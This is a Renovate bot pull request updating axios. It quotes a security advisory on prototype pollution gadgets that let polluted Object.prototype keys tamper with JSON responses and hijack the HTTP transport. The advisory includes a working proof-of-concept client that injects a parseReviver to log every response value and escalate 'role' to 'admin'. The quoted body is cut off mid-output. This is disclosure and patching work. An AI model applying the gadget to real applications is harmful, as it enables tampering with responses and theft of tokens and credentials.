- [https://github.com/axios/axios/security/advisories/GHSA-m7pr-hjqh-92cm](https://redirect.github.com/axios/axios/security/advisories/GHSA-m7pr-hjqh-92cm)
- [https://nvd.nist.gov/vuln/detail/CVE-2026-42038](https://nvd.nist.gov/vuln/detail/CVE-2026-42038)
- [https://github.com/axios/axios](https://redirect.github.com/axios/axios)

This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-m7pr-hjqh-92cm) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Axios: Prototype Pollution Gadgets - Response Tampering, Data Exfiltration, and Request Hijacking
[CVE-2026-42033](https://nvd.nist.gov/vuln/detail/CVE-2026-42033) / [GHSA-pf86-5x62-jrwf](https://redirect.github.com/advisories/GHSA-pf86-5x62-jrwf)

<details>
<summary>More information</summary>

#### Details
##### Summary

When `Object.prototype` has been polluted by any co-dependency with keys that axios reads without a `hasOwnProperty` guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process -- lodash < 4.17.21, or any of several other common npm packages with known PP vectors. The two gadgets confirmed here work independently.

---

##### Background: how mergeConfig builds the config object

Every axios request goes through `Axios._request` in [`lib/core/Axios.js#L76`](https://redirect.github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L76):

```js
config = mergeConfig(this.defaults, config);

Inside mergeConfig, the merged config is built as a plain {} object (lib/core/mergeConfig.js#L20):

const config = {};

A plain {} inherits from Object.prototype. mergeConfig only iterates Object.keys({ ...config1, ...config2 }) (line 99), which is a spread of own properties. Any key that is absent from both this.defaults and the per-request config will never be set as an own property on the merged config. Reading that key later on the merged config falls through to Object.prototype. That is the root mechanism behind all gadgets below.


Gadget 1: parseReviver -- response tampering and exfiltration

Introduced in: v1.12.0 (commit 2a97634, PR #​5926)
Affected range: >= 1.12.0, <= 1.13.6

Root cause

The default transformResponse function calls JSON.parse(data, this.parseReviver):

return JSON.parse(data, this.parseReviver);

this is the merged config. parseReviver is not present in defaults and is not in the mergeMap inside mergeConfig. It is never set as an own property on the merged config. Accessing this.parseReviver therefore walks the prototype chain.

The call fires by default on every string response body because lib/defaults/transitional.js#L5 sets:

forcedJSONParsing: true,

which activates the JSON parse path unconditionally when responseType is unset.

JSON.parse(text, reviver) calls the reviver for every key-value pair in the parsed result, bottom-up. The reviver's return value is what the caller receives. An attacker-controlled reviver can both observe every key-value pair and silently replace values.

There is no interaction with assertOptions here. The assertOptions call in Axios._request (line 119) iterates Object.keys(config), and since parseReviver was never set as an own property, it is not in that list. Nothing validates or invokes the polluted function before transformResponse does.

Verification: own-property check
import { createRequire } from 'module';
const require = createRequire(import.meta.url);
const mergeConfig = require('./lib/core/mergeConfig.js').default;
const defaults = require('./lib/defaults/index.js').default;

const merged = mergeConfig(defaults, { url: '/test', method: 'get' });
console.log(Object.prototype.hasOwnProperty.call(merged, 'parseReviver')); // false
console.log(merged.parseReviver); // undefined (no pollution)

Object.prototype.parseReviver = function(k, v) { return v; };
console.log(merged.parseReviver); // [Function (anonymous)] -- inherited
delete Object.prototype.parseReviver;
Proof of concept

Two terminals. The server simulates a legitimate API endpoint. The client simulates a Node.js application whose process has been affected by prototype pollution from a co-dependency.

Terminal 1 -- server (server_gadget1.mjs):

import http from 'http';

const server = http.createServer((req, res) => {
  console.log('[server] request:', req.method, req.url);
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end(JSON.stringify({ role: 'user', balance: 100, token: 'tok_real_abc' }));
});

server.listen(19003, '127.0.0.1', () => {
  console.log('[server] listening on 127.0.0.1:19003');
});
$ node server_gadget1.mjs
[server] listening on 127.0.0.1:19003
[server] request: GET /

Terminal 2 -- client (poc_parsereviver.mjs):

import axios from 'axios';

// Simulate pollution arriving from a co-dependency (e.g. lodash < 4.17.21 via _.merge).
// In a real application this would be set before any axios request runs.
Object.prototype.parseReviver = function (key, value) {
  // Called for every key-value pair in every JSON response parsed by axios in this process.
  if (key !== '') {
    // Exfiltrate: in a real attack this would POST to an attacker-controlled endpoint.
    console.log('[exfil]', key, '=', JSON.stringify(value));
  }
  // Tamper: escalate role, inflate balance.
  if (key === 'role') return 'admin';
  if (key === 'balance') return 999999;
  return value;
};

const res = await axios.get('http://127.0.0.1:19003/');
console.log('[app] received:', JSON.stringify(res.data));

delete Object.prototype.parseReviver;
$ node poc_parsereviver.mjs
[exf

> ✂ **Note**
> 
> PR body was truncated to here.

@renovate
renovate Bot force-pushed the renovate-npm-axios-vulnerability branch from aec0c25 to fae3964 Compare July 20, 2026 20:13
@renovate
renovate Bot force-pushed the renovate-npm-axios-vulnerability branch from fae3964 to d97afc1 Compare July 21, 2026 04:36
@renovate renovate Bot changed the title Update dependency axios to ^0.32.0 [SECURITY] Update dependency axios to ^0.33.0 [SECURITY] Jul 21, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants